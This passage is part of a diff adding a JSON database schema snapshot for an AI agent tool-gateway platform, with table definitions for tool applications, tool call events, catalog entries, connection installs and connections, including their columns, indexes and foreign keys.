+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_applications_company_idx": {
+          "name": "tool_applications_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_status_idx": {
+          "name": "tool_applications_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_name_uq": {
+          "name": "tool_applications_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_key_uq": {
+          "name": "tool_applications_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_applications_company_id_companies_id_fk": {
+          "name": "tool_applications_company_id_companies_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_applications_plugin_id_plugins_id_fk": {
+          "name": "tool_applications_plugin_id_plugins_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_applications_owner_agent_id_agents_id_fk": {
+          "name": "tool_applications_owner_agent_id_agents_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_call_events": {
+      "name": "tool_call_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action_request_id": {
+          "name": "action_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_slot_id": {
+          "name": "runtime_slot_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "latency_ms": {
+          "name": "latency_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_hash": {
+          "name": "request_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_summary": {
+          "name": "request_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_plan": {
+          "name": "redaction_plan",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rate_limit_state": {
+          "name": "rate_limit_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_call_events_company_created_idx": {
+          "name": "tool_call_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_run_idx": {
+          "name": "tool_call_events_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_issue_idx": {
+          "name": "tool_call_events_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_invocation_idx": {
+          "name": "tool_call_events_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_gateway_idx": {
+          "name": "tool_call_events_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_call_events_company_id_companies_id_fk": {
+          "name": "tool_call_events_company_id_companies_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_agent_id_agents_id_fk": {
+          "name": "tool_call_events_agent_id_agents_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_call_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_issue_id_issues_id_fk": {
+          "name": "tool_call_events_issue_id_issues_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_application_id_tool_applications_id_fk": {
+          "name": "tool_call_events_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_call_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_call_events_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_action_request_id_tool_action_requests_id_fk": {
+          "name": "tool_call_events_action_request_id_tool_action_requests_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_action_requests",
+          "columnsFrom": [
+            "action_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": {
+          "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_runtime_slots",
+          "columnsFrom": [
+            "runtime_slot_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_catalog_entries": {
+      "name": "tool_catalog_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entry_kind": {
+          "name": "entry_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'tool'"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_schema": {
+          "name": "input_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "output_schema": {
+          "name": "output_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "annotations": {
+          "name": "annotations",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'read'"
+        },
+        "is_read_only": {
+          "name": "is_read_only",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_write": {
+          "name": "is_write",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "is_destructive": {
+          "name": "is_destructive",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version_hash": {
+          "name": "version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schema_hash": {
+          "name": "schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_seen_at": {
+          "name": "first_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_seen_at": {
+          "name": "last_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "reviewed_at": {
+          "name": "reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_agent_id": {
+          "name": "reviewed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_user_id": {
+          "name": "reviewed_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantined_at": {
+          "name": "quarantined_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantine_reason": {
+          "name": "quarantine_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_catalog_entries_company_idx": {
+          "name": "tool_catalog_entries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_application_idx": {
+          "name": "tool_catalog_entries_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_idx": {
+          "name": "tool_catalog_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_company_status_idx": {
+          "name": "tool_catalog_entries_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_name_uq": {
+          "name": "tool_catalog_entries_connection_name_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_catalog_entries_company_id_companies_id_fk": {
+          "name": "tool_catalog_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_catalog_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_catalog_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": {
+          "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reviewed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_connection_installs": {
+      "name": "tool_connection_installs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connection_installs_company_target_idx": {
+          "name": "tool_connection_installs_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_connection_idx": {
+          "name": "tool_connection_installs_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_target_uq": {
+          "name": "tool_connection_installs_target_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connection_installs_company_id_companies_id_fk": {
+          "name": "tool_connection_installs_company_id_companies_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_connection_id_tool_connections_id_fk": {
+          "name": "tool_connection_installs_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connection_installs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "tool_connection_installs_target_type_check": {
+          "name": "tool_connection_installs_target_type_check",
+          "value": "\"tool_connection_installs\".\"target_type\" in ('company', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_connections": {
+      "name": "tool_connections",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "uid": {
+          "name": "uid",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_kind": {
+          "name": "connection_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'managed'"
+        },
+        "ownership": {
+          "name": "ownership",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'customer'"
+        },
+        "transport": {
+          "name": "transport",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "auth_kind": {
+          "name": "auth_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "transport_config": {
+          "name": "transport_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "credential_refs": {
+          "name": "credential_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_at": {
+          "name": "last_health_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_catalog_refresh_at": {
+          "name": "last_catalog_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
